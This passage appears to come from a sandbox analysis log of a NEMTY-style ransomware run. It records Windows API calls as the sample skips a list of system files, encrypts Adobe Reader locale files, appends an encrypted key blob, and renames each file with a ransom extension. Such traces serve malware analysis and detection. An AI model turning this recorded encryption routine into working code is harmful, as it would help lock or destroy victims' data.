(lpString1="pddom.NLD", lpString2="bootmgr") returned 1 [0180.548] lstrcmpiW (lpString1="pddom.NLD", lpString2="programdata") returned -1 [0180.548] lstrcmpiW (lpString1="pddom.NLD", lpString2="appdata") returned 1 [0180.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NLD", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.NLD", lpUsedDefaultChar=0x0) returned 9 [0180.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NLD", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.NLD", lpUsedDefaultChar=0x0) returned 9 [0180.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NLD", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.NLD", lpUsedDefaultChar=0x0) returned 9 [0180.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NLD", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.NLD", lpUsedDefaultChar=0x0) returned 9 [0180.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.548] Sleep (dwMilliseconds=0x5) [0180.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f43aef0, dwHighDateTime=0x1d561e8)) [0180.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f43aef0, dwHighDateTime=0x1d561e8)) [0180.552] GetLastError () returned 0x0 [0180.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.552] GetLastError () returned 0x0 [0180.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.552] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.552] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.553] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.553] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="WJRoxJRCnQGSltzUkELKU9qbvmhvNdgsmmn+gDMkWt5ySdI5EUEFvfZcFHqwhDQ9\r\nCywPss9IVdcV35w1cqIQGYZPxWyhoV5e3syyiGAITjDn29aSo7hNix1bRdgC02Jc\r\ned2HIGhtE3c/BwctKAIuo3CH+oftHuysdEAjEsFbbnmw7JYbsmTqa/Zt7QUrciPD\r\nWUxvutjuJJ1gLB0uNqdLuUJdE55/ryqCQHGPqG4AN0VLmYaZ9VMqcERYe4jm5NLv\r\n7Q6rjHgYgupMRBdiFxwFaLQjyasOCQ1aBYCDzFieAzC9j5PRCZZ0TZxOFmRpMKf3\r\nwTJv6Fb5ur+Iee/+xJb4NQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\pddom.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\pddom.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.553] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0180.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0180.553] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.553] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0180.555] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.555] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0180.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.556] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0180.556] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.556] CloseHandle (hObject=0x2e8) returned 1 [0180.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0180.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0180.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0180.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.556] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\pddom.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\pddom.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\pddom.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\pddom.nld._nemty_kgobjgd_")) returned 1 [0180.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0180.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.557] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x84200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.NLD", cAlternateFileName="")) returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2=".") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="..") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="...") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="windows") returned -1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="rsa") returned -1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="NTDETECT.COM") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="ntldr") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="MSDOS.SYS") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="IO.SYS") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="boot.ini") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="boot.ini") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="ntuser.dat") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="desktop.ini") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="CONFIG.SYS") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="RECYCLER") returned -1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.557] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="bootmgr") returned 1 [0180.558] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="programdata") returned -1 [0180.558] lstrcmpiW (lpString1="PPKLITE.NLD", lpString2="appdata") returned 1 [0180.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NLD", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NLD", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NLD", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NLD", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.558] Sleep (dwMilliseconds=0x5) [0180.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f461050, dwHighDateTime=0x1d561e8)) [0180.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f461050, dwHighDateTime=0x1d561e8)) [0180.568] GetLastError () returned 0x0 [0180.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.568] GetLastError () returned 0x0 [0180.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.568] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.568] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.568] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.568] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="s99Svp1TMrc/v9pBXPXXiHNWqLrMxRQ9fF53Dhjn88Bx9xX8SPnIFM3SgzrY7X9q\r\nGWkU3DAyRDMcuuVLhmCuxPZp6T3VxIzLdMB6saFFKeu7tkc6lFhmEKvtEWGMsU8W\r\nSnrFmDcmpyjgRv2V7g7yYGrbCaYnoNsaNk9KXg0RNCln3fv+rQ2JYhYzr8Cdqsbf\r\nYQJoNwq1gx2aNYKxYMWLBNoOyrEl72pVV5Tw32kSATSGytdoPrDlqVQz6CBDtS9l\r\n2kgsHCg1ZKEfOSgF03dmaiO6PUnhJzy0boeHcWCSpViueg9zQ6q9VJYlLNzzpbK+\r\nLWMstjhKS9jwZ5j+F34Hyg==\r\n", pcchString=0x653e5dc) returned 1 [0180.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\PPKLITE.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ppklite.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.569] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=541184) returned 1 [0180.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.569] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.569] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.577] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.577] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.578] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=541184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x84200 [0180.578] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.579] CloseHandle (hObject=0x2e8) returned 1 [0180.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.580] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\PPKLITE.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ppklite.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\PPKLITE.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ppklite.nld._nemty_kgobjgd_")) returned 1 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.581] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x155c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.NLD", cAlternateFileName="")) returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2=".") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="..") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="...") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="windows") returned -1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.581] 